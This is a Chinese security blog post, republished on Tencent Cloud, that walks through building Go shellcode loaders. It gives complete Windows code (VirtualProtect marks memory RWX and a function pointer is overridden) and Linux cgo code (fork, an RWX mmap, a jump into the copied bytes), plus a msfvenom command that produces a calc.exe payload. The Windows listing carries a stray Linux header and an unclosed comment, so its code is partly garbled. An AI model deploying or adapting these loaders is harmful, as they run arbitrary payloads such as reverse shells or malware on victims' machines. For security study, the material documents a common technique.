前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >小玩意:golang加载执行shellcode

小玩意:golang加载执行shellcode

作者头像
七夜安全博客
发布2019-03-04 15:05:51
4K0
发布2019-03-04 15:05:51
举报
文章被收录于专栏:七夜安全博客

shellcode执行

前言

今天看到一个比较好玩的东西,虽然原理很简单,但是使用golang来做还是挺新鲜,所以还是分享给大家。

第一节

PoC、Exp、Payload与Shellcode

首先说一下PoC、Exp、Payload与Shellcode这几个概念,这在渗透测试中非常常见。

PoC,全称”Proof of Concept”,中文“概念验证”,常指一段漏洞证明的代码。

Exp,全称”Exploit”,中文“利用”,指利用系统漏洞进行攻击的动作。

Payload,中文“有效载荷”,指成功exploit之后,真正在目标系统执行的代码或指令。

Shellcode,简单翻译“shell代码”,是Payload的一种,由于其建立正向/反向shell而得名。其实就是一段可以运行的二进制代码。

PoC是用来证明漏洞存在的,Exp是用来利用漏洞的,两者通常不是一类,或者说,PoC通常是无害的,Exp通常是有害的,有了PoC,才有Exp。

Payload有很多种,它可以是Shellcode,也可以直接是一段系统命令。同一个Payload可以用于多个漏洞,但每个漏洞都有其自己的Exp,也就是说不存在通用的Exp。

Shellcode也有很多种,包括正向的,反向的,甚至meterpreter。

今天要讲的就是使用golang 加载并执行shellcode,玩一些极客的感觉。

第二节

windows版shellcode加载器

shellcode既然是一段二进制代码,那加载器的功能则是将二进制写到内存中,并将这段内存设置为可执行,最后从头到尾执行这段代码即可。来看代码:

代码语言:javascript
复制
 1// shellcode_unix.go
 2package linuxshellcode
 3
 4/*
 5// shellcode_win.go
 6package winshellcode
 7
 8import (
 9    "syscall"
10    "unsafe"
11)
12
13var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")
14
15func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {
16    ret, _, _ := procVirtualProtect.Call(
17        uintptr(lpAddress),
18        uintptr(dwSize),
19        uintptr(flNewProtect),
20        uintptr(lpflOldProtect))
21    return ret > 0
22}
23
24func Run(sc []byte) {
25    // TODO need a Go safe fork
26    // Make a function ptr
27    f := func() {}
28
29    // Change permissions on f function ptr
30        var oldfperms uint32
31        if !VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) {
32            panic("Call to VirtualProtect failed!")
33        }
34
35    // Override function ptr
36    **(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))
37
38    // Change permissions on shellcode string data
39    var oldshellcodeperms uint32
40    if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) {
41        panic("Call to VirtualProtect failed!")
42    }
43
44    // Call the function ptr it
45    f()
46}

代码中主要是用了windows里kernel32.dll的VirtualProtect函数。在MSDN中的定义如下:

代码语言:javascript
复制
1BOOL VirtualProtect{ 
2LPVOID lpAddress, 
3DWORD dwsize, 
4DWORD flNewProtect, 
5PDWORD lpflOldProtect 
6}BOOL
  • lpAddress:内存起始地址
  • dwsize:内存区域大小
  • flNewProtect:内存属性,PAGE_EXECUTE_READWRITE(0x40)
  • lpflOldProtect:内存原始属性保存地址

在代码中,我们声明一个函数,将函数指向读入的shellcode字节数据那片内存,并将内存设置为可读可写可执行,最后调用函数就将shellcode运行起来了。

第三节

linux版shellcode加载器

对于linux版shellcode加载器也是同样的原理,只是实现的方式不一样。使用C.call的方式进行调用,最本质的实现其实是在C语言中的call函数。

代码语言:javascript
复制
 1// shellcode_unix.go
 2package linuxshellcode
 3
 4/*
 5#include <stdio.h>
 6#include <sys/mman.h>
 7#include <string.h>
 8#include <unistd.h>
 9
10void call(char *shellcode, size_t length) {
11    if(fork()) {
12        return;
13    }
14    unsigned char *ptr;
15    ptr = (unsigned char *) mmap(0, length, \
16        PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
17    if(ptr == MAP_FAILED) {
18        perror("mmap");
19        return;
20    }
21    memcpy(ptr, shellcode, length);
22    ( *(void(*) ()) ptr)();
23}
24*/
25import "C"
26import (
27    "unsafe"
28)
29
30func Run(sc []byte) {
31    C.call((*C.char)(unsafe.Pointer(&sc[0])), (C.size_t)(len(sc)))
32}

在call函数中,首先使用mmap生成一片可读可写可执行的匿名映射内存,然后将shellcode使用memcpy复制到这段内存中,并将这段内存的首地址强转为函数指针,直接当作函数运行即可。

mmap函数如下:

void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);

  • 参数addr: 指向欲映射的内存起始地址,通常设为 NULL,代表让系统自动选定地址,映射成功后返回该地址。
  • 参数length: 代表将文件中多大的部分映射到内存。
  • 参数prot: 映射区域的保护方式。可以为以下几种方式的组合: PROT_EXEC 映射区域可被执行 PROT_READ 映射区域可被读取 PROT_WRITE 映射区域可被写入 PROT_NONE 映射区域不能存取
  • 参数flags: 影响映射区域的各种特性。在调用mmap()时必须要指定MAP_SHARED 或MAP_PRIVATE。 MAP_FIXED 如果参数start所指的地址无法成功建立映射时,则放弃映射,不对地址做修正。通常不鼓励用此。 MAP_SHARED对映射区域的写入数据会复制回文件内,而且允许其他映射该文件的进程共享。 MAP_PRIVATE 对映射区域的写入操作会产生一个映射文件的复制,即私人的“写入时复制”(copy on write)对此区域作的任何修改都不会写回原来的文件内容。 MAP_ANONYMOUS建立匿名映射。此时会忽略参数fd,不涉及文件,而且映射区域无法和其他进程共享。 MAP_DENYWRITE只允许对映射区域的写入操作,其他对文件直接写入的操作将会被拒绝。 MAP_LOCKED 将映射区域锁定住,这表示该区域不会被置换(swap)。
  • 参数fd: 要映射到内存中的文件描述符。如果使用匿名内存映射时,即flags中设置了MAP_ANONYMOUS,fd设为-1。
  • 参数offset: 文件映射的偏移量,通常设置为0,代表从文件最前方开始对应,offset必须是分页大小的整数倍。

Tips: mmap详解

https://blog.csdn.net/notbaron/article/details/80019134

第四节

编译与load shellcode

golang支持多平台编译,假如你使用win32编译的golang程序,那你的shellcode也需要是32位的,不然无法执行。那我们怎么生成shellcode呢?这就需要kali系统下的一个神器:msfvenom。咱们使用它生成一个弹出计算器的shellcode,执行如下命令:

代码语言:javascript
复制
msfvenom -p windows/exec CMD=calc.exe -f hex

将红框圈住的字符串当作参数:go_shellcode.exe 参数,运行后会弹出计算器。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-01-29,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 七夜安全博客 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档